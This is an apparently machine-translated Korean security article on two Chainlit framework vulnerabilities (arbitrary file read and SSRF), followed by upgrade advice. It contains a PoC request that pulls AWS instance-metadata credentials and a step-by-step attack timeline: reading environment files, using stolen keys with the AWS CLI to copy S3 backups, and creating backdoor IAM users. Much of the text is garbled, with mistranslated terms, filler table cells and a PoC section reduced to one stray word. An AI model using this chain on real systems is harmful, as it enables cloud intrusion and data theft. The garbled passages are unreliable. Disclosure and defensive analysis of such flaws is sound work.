I. 취약성 원칙
1.1 체인릿 프레임워크 개요
대화형 챗봇을 만드는 데 널리 사용되는 오픈 소스입니다.AI 프레임워크는 LLM 애플리케이션을 구축하는 데 중요한 도구가 되었습니다. 파이썬 소프트웨어 재단의 통계에 따르면:
- 주간 다운로드:: 220,000회 이상
- 누적 다운로드 수:: 730만 명 이상
- 주요 애플리케이션:: 제너레이티브 AI 애플리케이션의 신속한 개발, LLM 채팅 인터페이스, 에이전트 시스템 개발
- 핵심 기능웹 UI, 메시지 관리, 세션 제어, 파일 업로드 등을 제공합니다.
체인릿 프레임워크의 핵심 아키텍처는 다음과 같습니다:
- 프런트엔드 웹 인터페이스(React 기반)
- 백엔드 플라스크/FastAPI 서비스
- SQLAlchemy ORM 데이터 계층
- 파일 처리 및 업로드 모듈
- 프로젝트 관리 및 세션 관리 시스템
사용 편의성이 높고 광범위하게 배포되기 때문에 체인릿 프레임워크의 보안 취약점은 큰 영향을 미칩니다.
1.2 체인리크 취약점조합형
자프란 시큐리티 연구팀은 2025년에 '체인리크'로 통칭되는 두 가지 고위험 취약점을 발견하고 책임감 있게 공개했습니다:
| 취약점 번호 | CVSS 점수 | 취약점 유형 | 심각도 |
|---|---|---|---|
| CVE-2026-22218 | 7.1 | 임의 파일 읽기 | 고위험 |
| CVE-2026-22219 | 8.3 | SSRF(서버 측 요청 위조) | 매우 높은 위험 |
이 두 가지 취약점의 주요 특징은 다음과 같습니다:
- 인증 우회:: 인증된 공격자가 필요하지만 사회복지사나 취약한 비밀번호를 통해 얻을 수 있습니다.
- 콤보 공격:: 두 가지 취약점을 함께 사용하여 연쇄적인 이벤트를 일으킬 수 있습니다.
- 데이터 도난API 키, 자격 증명, 소스 코드 유출로 이어질 수 있습니다.
- 권한 상승:: 애플리케이션 레이어에서 인프라 레이어로의 혁신
- 트래버스:: 피해 조직 내 지속적인 네트워크 침투
1.3 영향을 받는 배포 시나리오
체인릿 프레임워크는 일반적으로 다음과 같은 배포 환경에서 사용됩니다:
특히 다음과 같은 시나리오에서 위험이 가장 높습니다:
- 클라우드 배포: AWS EC2/ECS, 애저 앱 서비스, 구글 클라우드 런
- 민감한 데이터OpenAI API 키, 데이터베이스 자격 증명, 내부 서비스 키 통합
- SQLAlchemy 백엔드SQLite를 데이터베이스로 사용한 배포
- 취약한 액세스 제어:: 엄격한 인증 메커니즘을 마련하지 못함
II. 취약점 상세 분석
2.1 CVE-2026-22218: 임의 파일 읽기 취약점
취약성 원칙
영향을 받는 엔드포인트: /프로젝트/요소 업데이트 프로세스
근본 원인:: 사용자 제어 필드에 대한 입력 유효성 검사 부족
트리거 조건:: 인증된 공격자
공격 프로세스.
연구원들은 이를 위해 /proc/self/environ 추출에 성공했습니다:
- OpenAI API 키
- 데이터베이스 연결 문자열
- AWS 액세스 자격 증명
- 타사 서비스 키
- 내부 API 엔드포인트 주소
2.2 CVE-2026-22219. SSRF 취약점
취약성 원칙
영향을 받는 엔드포인트: /프로젝트/요소 업데이트 프로세스(SQLAlchemy 백엔드)
근본 원인사용자 입력 URL이 인증되지 않았습니다.
트리거 조건인증된 공격자 + SQLAlchemy 백엔드 구성
CVSS 점수8.3(매우 높은 위험)
SSRF 공격 프로세스.
테스트 환경에서는 공격자가 접속을 시도할 수 있습니다:
| 목표 | 주소 | 사용 | 노출 |
|---|---|---|---|
| AWS 메타데이터 | http://169.254.169.254/latest/meta-data | IAM 역할 얻기 | 매우 높음 |
| AWS 보안 자격 증명 | http://169.254.169.254/…/security-credentials/ | 임시 키 | 매우 높음 |
| Google GCP | http://metadata.google.internal/... | GCP 서비스 계정 | 매우 높음 |
| 내부 데이터베이스 | http://db.internal:5432 | 데이터베이스 검색 | 귀하의(경칭) |
| Redis 캐시 | http://redis.internal:6379 | 캐시 중독 | 귀하의(경칭) |
| 내부 API | http://api.internal:8080/admin | 권한 상승 | 귀하의(경칭) |
이 취약점은 체인릿이 클라우드 서버 인스턴스(예: AWS)에서 실행될 때 가장 큰 피해를 줍니다:
# 1단계: IAM 역할 이름 얻기
GET /proc/self/environ → 체인릿에서 환경 변수 읽기
→ EC2 인스턴스 정보 검색
# 2단계: SSRF를 통한 메타데이터 액세스
POST /project/element → {url:"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
→ 체인릿 서버가 공격자를 대신하여 요청을 전송합니다.
# 3단계: AWS 임시 자격 증명 얻기
응답.
{
"AccessKeyId": "ASIAXXX...",
"SecretAccessKey": "...",
"세션토큰": "...",
"만료": "..."
}
# 4단계: 자격 증명을 사용하여 AWS 리소스에 액세스하기
aws s3 ls -access-key ASIAXXX... -secret-key ...
AWS RD 설명-db-인스턴스
AWS EC2 설명-인스턴스
취약점의 영향:
- S3 스토리지 버킷 내용물 유출
- RDS 데이터베이스 제어
- 중요 비즈니스 시스템 인수
- 전체 AWS 계정 영향
2.3 취약점 연쇄 공격
두 익스플로잇을 함께 사용하면 훨씬 더 강력하고 파괴적인 힘을 발휘합니다:
취약점 연쇄 공격 프로세스.
"체인릿의 이 두 가지 취약점은 민감한 데이터를 손상시키고 권한을 상승시키며 시스템 내에서 측면으로 이동하는 데 복합적으로 사용될 수 있습니다. 공격자가 서버의 임의 파일에 대한 읽기 액세스 권한을 얻으면일체 포함그러면 애플리케이션의 보안이 빠르게 무너지게 됩니다."
III. 취약점 POC 및 공격 데모
3.1 CVE-2026-22218 모든 파일에서 POC 읽기
rob
3.2 CVE-2026-22219 SSRF 취약점 POC
HTTP 요청 데모
# 1단계: 체인릿 앱에 로그인하기
# 2단계: AWS 보안 자격 증명 얻기
POST /api/project/element HTTP/1.1
호스트: vulnerable-chainlit.app.com
권한 부여: 무기명 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
콘텐츠 유형: 애플리케이션/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-profile- 역할",
"method": "GET"
}
# 응답: 200 확인
{
"status": 200.
"content":"{\"Code\":\"Success\",\ "LastUpdated\":\"2025-12-10T12:00:00Z\",\"Type\":\ "AWS-HMAC\",\"AccessKeyId\":\"ASIAXXXXXXXXXXX\",\ "SecretAccessKey\":\"pLWXXXXXXXXXXXXXXXXXXXXX\",\"Token\":\ "AQoDYXdzEPT//wXXXXXXXXXXXX...\",\"Expiration\":\"2025-12- 10T18:00:00Z\"}",
"stored": true,
"session_id": "sess_def456"
}
3.3 실제 공격 시나리오 시연
take:: AWS에 배포된 Chainlit 애플리케이션 공격하기
타임라인.
분 T+0: 공격자가 취약한 비밀번호 계정(admin/admin123)에 대한 액세스 권한 획득
피싱 이메일을 통한 사회복지사 공격
T+2분: CVE-2026-22218로 /proc/self/environment 읽기
└─ 가져오기: AWS_ACCESS_KEY_ID, DATABASE_URL, OPENAI_API_KEY
T+4분: .env 파일 읽기
└─ 가져오기: 데이터베이스 비밀번호, 기타 API 키
T+6분: CVE-2026-22219를 사용하여 SSRF를 통해 AWS 메타데이터에 액세스하기
대상: http://169.254.169.254/latest/meta-data/iam/security-credentials/
T+8분: AWS 임시 보안 자격 증명 얻기
└─ AccessKeyId, SecretAccessKey, 세션토큰, 만료
T+10분: 획득한 자격 증명을 사용하도록 AWS CLI 구성하기
└─ aws config -access-key XXXX -secret-key YYYY
T+12분: 조직의 모든 S3 스토리지 버킷을 나열합니다.
└─ AWS S3 LS
T+15분: S3에서 민감한 데이터(소스 코드, 구성, 사용자 데이터)를 다운로드합니다.
└─ aws s3 cp s3://prod-backups/ . /backups/ -재귀적
T+20분: RDS 데이터베이스 액세스
사용자 테이블, 주문 양식, 민감한 고객 데이터 내보내기 └─ 사용자 테이블, 주문 양식, 민감한 고객 데이터 내보내기
T+25분: 다른 AWS 리소스 찾기 및 액세스하기
└─ 람다 함수, DynamoDB, 키 관리, CloudFormation
T+30분: 백도어 계정 및 지속성 메커니즘 만들기
└─ 새 IAM 사용자 만들기, 키 추가, 보안 그룹 수정
T+45분: 전체 붕괴
└─ 공격자는 피해자의 AWS 환경을 장기간 제어할 수 있습니다.
IV. 권장 보호 프로그램
긴급 수리
- 버전 2.9.4 이상으로 업그레이드하기
pip 설치 -업그레이드 체인릿>=2.9.4
- 버전 확인
python -c "import chainlit; print(chainlit.__version__)"
# 필요 >= 2.9.4
V. 참고 인용
출처(정보 등)
[1] NVD-CVE-2026-22218
https://nvd.nist.gov/vuln/detail/CVE-2026-22218
[2] NVD-CVE-2026-22219
https://nvd.nist.gov/vuln/detail/CVE-2026-22219
[3] 자프란 시큐리티 - 체인리크 취약점 발견
https://www.zafransecurity.com/chainlit-vulnerabilities
[4] 체인릿 공식 문서
https://docs.chainlit.io/get-started/overview
최고 보안 책임자의 원본 기사, 복제할 경우 출처 표시: https://www.cncso.com/kr/chainlit-ai-framework-data-leakage.html





